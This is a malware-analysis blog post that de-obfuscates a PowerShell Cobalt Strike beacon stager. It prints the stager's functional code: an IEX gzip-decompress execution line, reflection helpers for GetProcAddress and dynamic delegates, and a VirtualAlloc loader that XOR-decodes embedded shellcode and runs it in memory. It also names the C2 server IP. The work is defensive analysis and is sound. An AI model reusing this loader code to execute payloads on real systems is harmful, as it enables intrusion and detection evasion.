De-obfuscating a PowerShell Cobalt Strike beacon stager

Ben Folland
5 min readJun 3, 2023

--

I recently discovered this malicious PowerShell script from a Twitter post by @xorJosh. In his tweet he described an Oracle related service was exploited to download and execute a PS script.

Let’s download this ourselves and have a look!

The PS script starts by defining a variable $s to Base64 decoded binary data.

Once we get to the end of this s, variable we see the following:

IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

This basically decompresses the variable $s, and inputs into the StreamReader object. The contents of the StreamReader object are then sent as input into the IEX function, Invoke-Expression, that executes a PS script. From this, we can take a guess that $s is gzip compressed, PowerShell code?

Now we know this, let’s try decode & decompress this long string and find out. First of all, let’s copy & paste that long Base 64 encoded binary data into a file and name it encoded_data.

Using the above two commands we can first base64 decode the encoded_data file and then decompress it with gzip. Now let’s view the contents of this file!

Interesting it looks like there was indeed more PowerShell code that was previously base64 encoded & compressed, that would now be executed. Let’s deobfuscate this.

Let’s look in detail at these first two defined functions:

function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

// Two parameters are set var_module & var_procedure

// The second line initialises a variable var_unsafe_native_methods
// and searches for the System.dll file, it uses this file to hold the
// Microsoft.Win32.UnsafeNativeMethods type

// The third line uses GetProcAddress method from the ...UnsafeNativeMethods type
// to find a memory address of a specified procedure/function

// so basically... this function just recieves the the memory address
// of a function from within specific DLLs using the Window's API
// GetMethod() function

And the second…

function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return $var_type_builder.CreateType()
}

// This was a bit more confusing... I believe this to be a function
// that is used to dynamically create delegate types.
// Delegates are used to pass methods as arguments to other methods
// I won't be explaining in detail but we can guess this is used
// to help execute what follows in this code

Now onto final segment of code:

If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('bnlicXZrqsZros....')

for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}

// The first line is used to get if check if the computer is running
// a 64-bit architecture
// 64-bit -> [IntPtr]::size = 8
// 32-bit -> [IntPtr]::size = 4

//The second line takes a massive base64 encoded string, decodes it,
// and stores it in an array of bytes

//The third line then loops through this array of bytes,
// does a bitwise xor with decimal 35 on each individual byte in the array
// and replaces that byte in the array
// We can guess that $var_code is encrypted with XOR ??

// The next few lines allocate a space in memory with VirtualAlloc
// and then copy the decrypted code $var_code, and finally execute it

Now knowing this, let’s hop into CyberChef and extract the contents of this XOR encrypted base64 data.

Interesting, we can see the PE magic byte, this is most likely an .EXE file. Let’s download this to my local Kali machine for further analysis.

This definitely looks like an Windows executable. Let’s do some basic static analysis with strings

This certainly looks dodgy…

Searching ‘MZARUH’ in Google we find this is a strong identifier of a Cobalt Strike beacon binary.

Didier Stevens has created this fantastic tool that is able to decrypt and extract the configuration from Cobalt Strike beacon binaries. Let’s use it on our executable.

From this tool we get a lot of information. Firstly we can see the payload type is https, so the beacon will connect to a HTTPS listener on the C2 server. We also extract the IP address of the server, 81.70.197.244, nice! Those with a keen eye would’ve noticed this same IP address was used to host the initial PowerShell stager. Let’s use Shodan to have a look at this IP in more detail.

We can see this is a Chinese IP address hosted on Tencent Cloud, with the expected port 443 open.

Hope you’ve enjoyed this walkthrough!

--

--